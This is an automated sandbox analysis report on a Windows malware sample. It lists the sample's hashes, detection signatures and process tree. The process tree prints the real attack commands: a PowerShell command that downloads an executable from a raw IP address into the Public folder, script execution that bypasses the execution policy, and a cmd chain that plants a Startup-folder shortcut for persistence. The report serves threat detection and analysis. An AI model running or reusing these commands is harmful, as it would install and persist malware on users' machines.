Edit tour
Windows
Analysis Report
PPbimZI4LV.exe
Overview
General Information
Sample name: | PPbimZI4LV.exerenamed because original name is a hash value |
Original sample name: | 3e60030e11271225fcc4e95aeb70447577882c697b54eeb83d5b6957b9c4bda3.exe |
Analysis ID: | 1577201 |
MD5: | a9e7a83dd50b78bad39a2a57cbebb137 |
SHA1: | c8634886fe1f814033d5303a29ed28909b8cea91 |
SHA256: | 3e60030e11271225fcc4e95aeb70447577882c697b54eeb83d5b6957b9c4bda3 |
Tags: | 139-99-188-124exeuser-JAMESWT_MHT |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- PPbimZI4LV.exe (PID: 6096 cmdline:
"C:\Users\ user\Deskt op\PPbimZI 4LV.exe" MD5: A9E7A83DD50B78BAD39A2A57CBEBB137) - powershell.exe (PID: 1472 cmdline:
powershell -Command "Invoke-We bRequest - Uri "http: //139.99.1 88.124/xvD YouPUJ" -O utFile "C: \Users\Pub lic\Guard. exe"" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4136 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7496 cmdline:
powershell .exe -Exec utionPolic y Bypass - File "C:\U sers\Publi c\PublicPr ofile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7504 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Guard.exe (PID: 7808 cmdline:
"C:\Users\ Public\Gua rd.exe" C: \Users\Pub lic\Secure .au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685) - cmd.exe (PID: 7884 cmdline:
cmd /k ech o [Interne tShortcut] > "C:\Use rs\user\Ap pData\Roam ing\Micros oft\Window s\Start Me nu\Program s\Startup\ SwiftWrite .url" & ec ho URL="C: \Users\use r\AppData\ Local\Word Genius Tec hnologies\ SwiftWrite .js" >> "C :\Users\us er\AppData \Roaming\M icrosoft\W indows\Sta rt Menu\Pr ograms\Sta rtup\Swift Write.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7892 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 8040 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\WordGen ius Techno logies\Swi ftWrite.js " MD5: A47CBE969EA935BDD3AB568BB126BC80) - SwiftWrite.pif (PID: 8136 cmdline:
"C:\Users\ user\AppDa ta\Local\W ordGenius Technologi es\SwiftWr ite.pif" " C:\Users\u ser\AppDat a\Local\Wo rdGenius T echnologie s\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
- svchost.exe (PID: 4092 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Max Altgelt (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113: |
Source: | Author: Max Altgelt (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
Data Obfuscation |
---|
Source: | Author: Joe Security: |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Avira URL Cloud: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Static PE information: |
Source: | Code function: | 1_2_00007FF64399C7C0 | |
Source: | Code function: | 1_2_00007FF6439AA4F8 | |
Source: | Code function: | 1_2_00007FF6439A6428 | |
Source: | Code function: | 1_2_00007FF6439AA350 | |
Source: | Code function: | 1_2_00007FF6439AA874 | |
Source: | Code function: | 1_2_00007FF643962F50 | |
Source: | Code function: | 1_2_00007FF6439A72A8 | |
Source: | Code function: | 1_2_00007FF6439A71F4 | |
Source: | Code function: | 1_2_00007FF64399B7C0 | |
Source: | Code function: | 1_2_00007FF64399BC70 | |
Source: | Code function: | 11_2_00154005 | |
Source: | Code function: | 11_2_0015494A | |
Source: | Code function: | 11_2_0015C2FF | |
Source: | Code function: | 11_2_0015CD14 | |
Source: | Code function: | 11_2_0015CD9F | |
Source: | Code function: | 11_2_0015F5D8 | |
Source: | Code function: | 11_2_0015F735 | |
Source: | Code function: | 11_2_0015FA36 | |
Source: | Code function: | 11_2_00153CE2 | |
Source: | Code function: | 17_2_00C44005 | |
Source: | Code function: | 17_2_00C4494A | |
Source: | Code function: | 17_2_00C4C2FF | |
Source: | Code function: | 17_2_00C4CD9F | |
Source: | Code function: | 17_2_00C4CD14 | |
Source: | Code function: | 17_2_00C4F5D8 | |
Source: | Code function: | 17_2_00C4F735 | |
Source: | Code function: | 17_2_00C4FA36 | |
Source: | Code function: | 17_2_00C43CE2 |
Source: | HTTP traffic detected: |